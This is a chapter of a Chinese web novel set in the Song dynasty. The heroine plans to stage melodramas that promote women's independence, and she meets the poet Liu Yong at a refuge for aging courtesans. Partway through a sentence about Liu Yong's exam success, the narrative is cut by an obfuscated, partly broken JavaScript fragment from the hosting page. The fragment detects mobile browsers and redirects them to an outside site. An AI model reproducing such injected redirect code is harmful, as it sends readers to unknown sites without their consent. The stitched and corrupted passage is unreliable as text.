舒钥钥 作品
62. 第 62 章
勾栏瓦舍中的“说话人”分四派:小说,讲短篇白话故事,情节曲折;讲史,演述历史兴亡,如《三国志平话》,为后世历史演义小说奠基;说经,宣讲佛经故事与儒家义理;合生,则是即兴编唱、滑稽调笑的伎艺。此外还有地方戏剧,如永嘉杂剧传入东京,多以婚姻悲剧为题材,反映市民情感诉求。这些话本作为说话艺术的底本,打破了文言文学的垄断,成为明清小说的重要源头。
吴悦萌生出创办戏馆的念头,正是因为她意识到:因为官家小娘子们管教森严,不轻易见到外男,并且她们背后都有家族可以依靠。但是那些不识字的底层女性,没有办法接触到她写的报复社会文,这些风险最高的人群又如何规避伤害呢?甚至在受到伤害,如何自立而不会自怨自艾只能忍气吞声?
那么还有另外一种艺术形式的传播力度更广,更易深入人心、引导观念,那就是戏剧。回想儿时看过的影视剧,吃的都是什么细糠啊。既有《穆桂英挂帅》《花木兰》这般弘扬女性自主的经典,也有《一帘幽梦》《烟锁重楼》等颠覆传统婚恋观的作品。虽然有些剧情炸裂三观,但是都在隐晦地传递女性应该以自己为主体的价值取向,相较于传统女性“三从四德”的规训,应该具有勇敢放弃和拒绝的勇气。
这种软实力,也可以称为文化输出在后世有着巨大影响力。文字至多只能影响识字率仅5%的人口,而戏剧却能覆盖全体底层民众。即便目不识丁,也能通过语言与肢体动作感知其中的思想内核。
在西方启蒙时代,戏剧也是启迪民智的重要载体。在识字率低下的十七、十八世纪,伏尔泰等文豪纷纷以戏剧为工具,将说教与情感融合:其剧作既具生动情节,又蕴含哲理思辨。剧本中暗含着传统观念与新思想的冲突,恰好可以通过角色口中展现多元观点。好的叙事甚至可以有核武器一般的危害,比如后世某大国便借英雄电影塑造"唯有他们国家能拯救世界"的叙事,实施文化侵略。
吴悦计划将狗血文改编为戏剧,以此撼动固化的思维模式,推动部分女性的思想解放。狗血文在后世,那个信息大爆炸的时代都可以凭借强情节特质吸引观众。那些激烈的情感冲突、戏剧性桥段(家庭矛盾、婚姻困境、女性生存难题等),可是能霸占热点热搜的爆裂议题,在古代那不给这些娱乐项目少的古人天雷轰顶一般的震撼!
当然,还是要超越单纯的娱乐性质,她决定夹带点私货,来一点那么些社会意义,那什么女戒读的整个人ptsd都犯了,她要在狗血剧情中加入女性自主、反抗压迫、追求平等的主题!要让听戏的人都意识到问题是可以被解决的,而戏剧里的一些桥段甚至提供后期供人反思的动力。
这一创作思路暗合启蒙时代戏剧的核心精神,不能是居高临下的教化,而是通过让观众在别人的故事里流自己的眼泪,实现对自身处境的觉醒。正如狄德罗在《论戏剧诗》中所言:“戏剧的责任,是让美德显得可爱,让恶行显得可憎,让荒谬显得触目惊心。”她对狗血文的改编,正是要将现实中习以为常的压迫搬上舞台,使其变得不可忍受。
而之所以打算拉大姐入伙,源于戏剧所需的演员,正是大姐夫在拓展新业务时结识的。
去年,她建议朱恒研发液体精华,在成功研制出艾草精油后,原本计划转向鲜花精华,不料暴雨突袭,花田受损严重。而后,朱桓又被监内司香使暂时羁押,全家人为此奔波打官司无人顾及。
直至今年春季,凭借艾草精油的经验,朱恒终于腾出精力继续研发液体香水。他选中的紫丁香于四五月绽放,其圆锥花序茂密,香气甜润中裹挟辛香,适合偏爱浓郁香型的人群。且丁香酚含量高,经蒸馏后留香持久,气味醇厚。当今宋人甚爱丁香的香味,将其含于口中细嚼,用作去除口气的清新剂,功能类似今日的口香糖。
首获成功大赚特赚后,朱恒又调配出木香调、果香调等多款香水。为扩大客户群,他携这款便携液体香水造访秦楼楚馆,向伎人介绍其便于携带、染香迅速的特性。
士大夫与后宅女子玩香讲究风雅,注重香料的调制搭配与静心过程;而伎人需随叫随到,无暇沉浸于慢调香的雅趣,她们更看重香品的即时效果。
这款液体香水恰好满足了她们的需求:即便需陪贵客讲究风雅,但在外出或遭遇紧急情况时,汗流浃背间轻喷几下,便能迅速掩盖异味。因此,朱家新款香水顺利打入市场,各家都知的梳妆台上,也常备两瓶。
走访伎馆时,朱恒发现一处特殊伎馆。馆主曾是汴梁名噪一时的都知,当年拒绝被人以小轿抬入后院为妾,转而收留了一群无人赎娶、色衰年老的伎子。
这些女子无依无靠,只能在此终老,馆内也仅能提供温饱。往来客人多为旧识,与其说是来消费色艺,不如说这里更像一间食肆:老伎子们备些家常饭菜,供熟客小聚闲聊、回忆往昔。因收留人数太多,馆中几乎无利可图,仅能维持基本生计。但相较那些被迫从事下作皮肉生意的暗娼,她们已算幸运,前者大多因妇科病缠身,凄凉离世。
朱恒自然不敢向小姨子说起这些,生怕岳母与妻子知晓后苛责。但架不住吴悦极会套话,况且自从他被小姨子从牢中救出,如今对吴悦几乎言听计从,连生母秦大娘子的话分量都不及她。
吴悦提及柳永时,言语间满是神往,恨不能一睹其风采,朱恒便稀里糊涂地将小姨子带到了那处特殊伎馆。馆主姓魏,早年与柳永相熟。
此时的柳永已调回京城,任从六品著作郎。他早年屡试不第,仕途失意,常流连于烟花柳巷。景祐元年(1034年)三月,宋仁宗亲政后特开恩科,对历届科场失意者放宽录取标准。柳三变得讯,即刻从鄂州赶赴京师应试,终在暮年得中进士
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851721|170310||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
。欣喜之下,他改原名柳三变为柳永。尽管不少人钦慕其才学,欲加举荐,却因他“未有善状”而受阻,只能去地方当个小官。这都是因为,年轻时的柳三变沉湎风月,举止不够稳重端方,不为帝王及上层文人所接纳,直接影响了他的仕途。
庆历三年(1043年),时年柳永已担任地方官三任共九年,且政绩可考,按宋制本应通过磨勘改官,却还被世人仍视其“未有善状”,始终未能晋升。直至范仲淹推行庆历新政,重订官员磨勘法,柳永趁机申诉,才得以从地方改任从七品著作佐郎。至去年,他方升任著作郎。
柳永素对女子心怀怜惜,早年科举屡败,一度沉湎于烟花柳巷,与歌妓共度放荡不羁的青春时光。他为教坊乐工与歌伎填词,供其在酒肆歌楼演唱,常获她们的经济资助,得以长居坊曲,衣食无忧,浪漫风流的天性由此尽情释放。入仕后,其诗词风格一改少年时的浮靡浓艳,因亲历民生而愈发清新沉郁。尽管仕途多舛,也始终未改济世之志,盼以才学跻身优秀文人之列,成为造福一方的良吏。
然而自调入京城担任著作郎后,柳永虽重返繁华的东京城,却远离了基层民生与地方治理。在原先的历史线上,这种脱离实务的清贵官职,使他逐渐感受到官场排挤。早年流连风月的过往始终为保守派所诟病,最终不得不黯然离开仕途。
柳永的著作郎是秘书省下属的文职官员,属中低级文官序列,虽品秩不高,但因职掌官方意识形态构建与历史书写,实际地位颇为重要。其核心职责为参与日历修撰,即按日记录皇帝言行、朝政大事及臣僚奏疏,为后世编纂实录、国史提供原始史料。后世小说中常听的负责记录皇帝日常言行(即帝王起居注)的是起居郎,其工作与著作郎的日历修撰形成互补。
而这家伎馆的隐秘支持者正是柳永。
尽管他如今已不再与歌姬频繁往来,回京后一心投入修史事务,但每逢旬休之日,仍会悄然前往伎馆,与魏都知等旧日相识相聚。
今日,柳永踏入伎馆二楼,刚走进专为自己预留的包厢,便见一名陌生小娘子正由魏都知作陪。
“这位是?”柳永疑惑地望向魏都知。他素日隐匿行踪,往来者多为旧识,此刻包厢中竟出现生面孔。
吴悦亦在打量眼前之人,这位北宋著名词人年已六十三岁,虽为老者,却精神矍铄,举手投足间仍显风流之态。她暗自思忖,难怪官场难容他,想必是因嫉妒其词才过人,纵使年齿渐长,风采依旧难掩。
“柳大人。”起身郑重行礼,吴悦脑中《雨霖铃》的词句不自觉浮现:“此去经年,应是良辰好景虚设。便纵有千种风情,更与何人说?”来了,梦回中学语文古诗考试的回忆。
魏都知也适时的介绍:“这位就是那位吴小娘子。”
柳永恍然大悟,哈哈大笑道:“此前你总说想见见那位勇闯开封府的小娘子,今日可算遂了心愿。”